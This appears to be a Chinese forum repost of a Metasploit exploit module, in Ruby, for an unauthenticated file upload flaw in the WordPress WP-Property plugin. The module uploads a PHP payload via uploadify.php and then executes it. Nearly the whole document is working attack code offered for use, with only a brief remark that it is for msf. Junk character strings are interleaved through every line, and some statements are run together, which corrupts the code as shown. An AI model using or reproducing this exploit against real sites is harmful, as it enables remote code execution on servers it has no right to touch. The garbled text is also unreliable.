WordPress WP-Property PHP 文件上传漏洞
$ n3 d$ E% Z5 @8 P" H" ~8 Q* m4 A1 J. I* N+ j& b
## # This file is part of the Metasploit Framework and may be subject to7 e, L7 c6 z, k& ]5 C' T3 o
7 {% x0 I. W6 j% y; r: w# redistribution and commercial restrictions. Please see the Metasploit; j6 ?4 o: z. m+ C
+ z# v2 ]! R* c( t1 q# Framework web site for more information on licensing and terms of use.
6 ]' D Q- ]7 B; k0 Q" n* s/ |# G& i$ P$ W$ M+ a2 ~
# http://metasploit.com/framework/ ##
) v$ u# J! k; S# {3 `7 h9 Q5 t ]# V' \' I7 Q! G6 \' z3 [
# A' {2 x5 A8 d) W7 Q
- i) u: G, w* u" s S- ~ / U' E! o, t4 D. |
" j; r9 F2 D' {. ^3 Krequire 'msf/core'
9 a$ Z( e+ m" nrequire 'msf/core/exploit/php_exe'
$ V1 x8 {" m. ~. _! a7 F, I4 i
& N9 G9 {# d0 Gclass Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit: hpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress WP-Property PHP File Upload Vulnerability',
6 ~; j/ _/ S B1 M* _'Description' => %q{: O5 q# K- f a R" |, |
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress plugin. By abusing the uploadify.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. }, 'Author' =>: P2 d4 f4 A5 |$ G$ R9 f4 C6 c
[
6 a/ f2 y" A. x6 p+ S" i& g'Sammy FORGIT', # initial discovery6 b5 `0 N1 x: q8 y0 M1 y p9 ?8 e
'James Fitts <fitts.james[at]gmail.com>' # metasploit module
- Y V; I' ?1 A/ r- m* e) L],$ u6 j% S; j/ D
'License' => MSF_LICENSE,5 |' L! E. N% |- u5 b: k+ V& M
'References' =>3 F9 V# g$ W4 b. a' |3 O; y: Z
[
3 m; C# M1 j" O7 z) T. z5 E[ 'OSVDB', '82656' ],
" c" u* |1 \4 E Y! Y[ 'BID', '53787' ],
1 S# J4 T4 t$ T[ 'EDB', '18987'],# R* g3 V" @4 b- n
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
5 W" a5 A; L$ V# k6 u],
" U2 I! j/ W0 h7 P+ C f. m'Payload' =>
0 Y! Z; T+ z, W' J, N4 u }, q/ C{* e( ?+ ?1 \ B5 P9 {1 X% J
'BadChars' => "\x00",
3 l* K5 i# ]. X! p8 l},1 X# c9 B0 b' a- O# y
'Platform' => 'php',
6 X- L1 N" l; [; r4 q0 n- i'Arch' => ARCH_PHP,) N8 R; n. f- E( }. j: M; ] V
'Targets' =>
0 ?6 f3 C) P+ D ~[! a. ]" A8 t: [2 L! [7 V3 z
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],, ]5 } u; a4 a; [" B, \( F( A
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
7 U$ H3 r8 N6 h1 Y],! K7 B; h6 T7 Q
'DefaultTarget' => 0,# r4 C m! X+ s J; V5 _+ d
'DisclosureDate' => 'Mar 26 2012'))
0 v* A2 D( P, z- S
" ^2 O3 @7 G, x2 I8 W& }register_options(
* n! g, Z% A" p: O! c! G* n/ r[: v6 Z' W9 O: \, l6 G! M
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
( r2 b6 k" Y5 F], self.class)
" G/ x! w. R& V) c7 G& Cend3 W+ |9 a5 o. Z2 m# ]
9 K% N# K0 R4 n1 A O7 K
def check; P' E3 B/ c" z( Y8 o1 o# `# t" u! B; [
uri = target_uri.path4 m2 y# C7 k1 P: ~5 U
uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET',
- S% ], m2 m [( ?# Y o'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"0 U' c3 d4 m+ L* @5 t- x, S
})
7 F/ R, e; Y% O" r: q- g0 {) I
6 p3 c1 x) A: Jif not res or res.code != 200
3 m, u8 \$ L( `$ r1 z- Sreturn Exploit::CheckCode::Unknown7 ~+ t+ A5 M% x! B; n7 d, X: P
end1 s4 Q9 A. S8 V* R
# t: h+ W2 r, y0 i9 y( h: hreturn Exploit::CheckCode::Appears) ]$ O0 w# w. U" W. j0 d5 f
end/ r8 T% s$ z) u0 k6 o
! a) J# ]" R! a) V& ]7 y9 X* }def exploit
; v h6 o3 s* z1 Q( ]! Furi = target_uri.path( q$ J0 x2 ~, K4 p
uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self=>true)
& E$ |$ b8 S3 H, Z) I3 `& y& X+ Y4 ]; Q4 J. m7 k
data = Rex::MIME::Message.new9 m, b9 G/ r/ t' c# _ o4 \
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
+ E. a) R- t# q! ydata.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
! n g; A1 G+ ?: S" Lpost_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
: `/ t/ I2 r6 W2 K! G; W% {$ C! y' ]/ m% @
print_status("#{peer} - Uploading payload #{@payload_name}")
+ R3 j, j* X/ pres = send_request_cgi({
4 c$ p# ?/ G# O! {+ J a'method' => 'POST',
* A# d: R; S( `$ N6 y'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
[) [, m. N- N'ctype' => "multipart/form-data; boundary=#{data.bound}",8 n5 j e5 d7 A# k% L8 `
'data' => post_data
/ D$ e5 N. J& u- V& b' _$ Q# d5 R})
8 J8 k# @* `' s% V1 J0 }
. c2 j- V$ Y. ?& T, T M3 J7 ]if not res or res.code != 200 or res.body !~ /#{@payload_name}/ w# u7 x& b7 q! l& r$ {0 `: s
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")+ P9 K( P* ~# Q; [1 Z# f
end
2 ?; p8 `' V u
( k( O! k) o( ?& u x/ supload_uri = res.body" d( D- g& s3 ]" w5 K$ x
) f6 j- o4 ^/ d6 [print_status("#{peer} - Executing payload #{@payload_name}")6 {+ [2 c0 _3 S# f4 n# _/ @8 o
res = send_request_raw({9 Q9 x/ h$ h. K! s, W( O/ {2 V6 \
'uri' => upload_uri,
, F8 w7 G1 w+ l' {9 y'method' => 'GET'$ L0 X' N" M1 D
}). O+ F1 h$ S( J$ z1 {
end
( r( O0 E( ?0 ~9 W8 oend! w% }: t6 w# G7 p2 q3 }! J% o
# }4 U0 z" F' ^, D, [不要问我这写的是什么 怎么利用 我是说msf.+ ?% j+ f% n; N8 u
/ A1 `6 s$ p$ L# J" |: {
|